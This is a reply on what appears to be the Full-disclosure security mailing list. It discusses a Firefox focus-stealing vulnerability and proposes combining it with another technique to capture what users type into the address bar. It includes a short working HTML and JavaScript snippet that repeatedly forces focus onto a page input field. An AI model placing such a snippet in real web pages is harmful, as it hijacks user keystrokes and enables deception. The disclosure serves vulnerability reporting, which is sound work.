Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)

here is an idea... we can combine both techniques into a single
attack... the hardest part of your hack is to force the user to type
:// plus several other / but if we steel the focus from the address
bar, unaware users will type something like this http://www.google.com
for example, which is what we want.

try this

<input id="foo" type="text"/>
<script>
setInterval(function () {
document.getElementById('foo').focus();
},1);
</script>

:) the address bar is disabled...
